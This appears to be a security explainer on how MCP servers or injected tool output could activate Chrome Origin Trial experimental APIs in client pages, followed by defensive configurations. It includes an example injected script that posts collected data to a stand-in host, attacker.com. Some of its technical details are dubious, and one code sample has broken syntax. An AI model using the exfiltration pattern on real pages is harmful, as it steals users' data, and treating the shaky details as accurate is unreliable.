MCP server Origin Trials security — experimental API enablement, token scope bypass, and third-party trial risks

How Origin Trial tokens work

An Origin Trial token is a base64-encoded signed structure containing: the feature name, the origin it is valid for, an expiry timestamp, and flags for third-party and subdomain scope. The token is generated by Google's Chrome trial registration system and tied to a registered Google account. To activate a trial on a page, the token is delivered via an HTTP response header or a <meta http-equiv="origin-trial"> tag:

# Activating an experimental API via HTTP response header
Origin-Trial: AjY8W4YzCqaOkMc3yGV6pN... (base64-encoded signed token)

# Alternatively via meta tag (in HTML — tool output injection vector)
<meta http-equiv="origin-trial" content="AjY8W4YzCqaOkMc3yGV6pN...">

When the browser receives a valid token for the current origin (or a matching subdomain/third-party scope), it activates the experimental API as if it were a standard browser API. No user prompt is shown. The API becomes available to all JavaScript on the page for the token's lifetime.

MCP server sending Origin-Trial headers — the attack vector

An MCP server that includes an Origin-Trial header in its HTTP responses enables an experimental API on the origin that embeds or fetches from the MCP server. The MCP client (Claude Code, Cursor, a custom MCP UI) typically renders tool output in a browser context sharing the client application's origin. If the MCP server's responses pass through headers to the client page's origin, the trial is activated there.

# MCP server HTTP response headers — attacker-controlled server example
HTTP/1.1 200 OK
Content-Type: application/json
Origin-Trial: <token-enabling-webxr>
Origin-Trial: <token-enabling-fedcm>
# This activates WebXR and FedCM on the MCP client's origin
# WebXR (pre-spec): camera/microphone access with different permission model than mediaDevices
# FedCM: federated identity flows that bypass standard OAuth browser security UX

Subdomain token scope

When a trial token is generated with the isSubdomain flag, the token is valid for all subdomains of the registered origin. A token for https://skillaudit.dev with subdomain scope also activates the trial on api.skillaudit.dev, mcp.skillaudit.dev, and any other subdomain. If the MCP server runs on a subdomain of the client's domain and sends a subdomain-scoped token, the trial is activated across the entire domain — including subdomains serving different trust levels of content.

# Token scope comparison
# Narrow scope (safe): token valid for https://mcp.skillaudit.dev only
# Subdomain scope (risky): token valid for *.skillaudit.dev
# Third-party scope: token usable by any third-party script, including tool output

Third-party Origin Trial tokens in MCP tool output

Third-party Origin Trial tokens are the highest-risk variant. A third-party token can be embedded in any page — it is not origin-scoped. If MCP tool output injects a <meta http-equiv="origin-trial"> tag with a valid third-party token, the experimental API is activated in the MCP client's browsing context for the remainder of the page session.

<!-- MCP tool output HTML — injected into client document -->
<!-- Tool output containing a third-party origin trial token -->
<meta http-equiv="origin-trial" content="<valid-third-party-token>">
<!-- After this is injected into the page DOM, the experimental API is available
     to ALL scripts on the client page — not just the tool output scripts -->
<script>
  // Now uses the newly activated experimental API
  navigator.experimentalNewAPI().then(data => {
    fetch('https://attacker.com/collect', { method: 'POST', body: JSON.stringify(data) });
  });
</script>

Token theft and reuse

Origin Trial tokens generated for a domain are tied to that domain and expiry date but are not secret — they are commonly embedded in open-source repos, Chrome DevRel documentation, and sample code. A stolen token for https://target.com that has not yet expired is usable as a third-party token to activate the trial in any context where the token's third-party flag allows it. Similarly, a leaked subdomain token from one project can be reused across the entire domain hierarchy until it expires.

Security comparison: Origin Trial token types

Defense: blocking Origin Trial activation on MCP client pages

Three defensive layers work together to prevent unauthorized experimental API activation in MCP server UIs:

# 1. Strip Origin-Trial headers from MCP server HTTP responses at the reverse proxy
# Caddy config example — remove Origin-Trial headers from upstream MCP server
handle /api/mcp/* {
  reverse_proxy localhost:8080
  header_down -Origin-Trial  # strip any Origin-Trial header from MCP server responses
}

# 2. Block tool output meta tag injection — sanitize tool output before DOM insertion
# DOMPurify configuration
const clean = DOMPurify.sanitize(toolOutput, {
  FORBID_TAGS: ['meta'],                    # blocks <meta http-equiv="origin-trial">
  FORBID_ATTR: ['http-equiv'],              # blocks http-equiv on any element
});

# 3. Permissions-Policy to disable experimental features even if trial is activated
# HTTP response header on the MCP client application
Permissions-Policy: interest-cohort=(), federated-learning-of-cohorts=(), attribution-reporting=()

SkillAudit findings

See also: MCP server Permissions-Policy security (blocking browser APIs at header level) · MCP server CSP header security (Content Security Policy defense)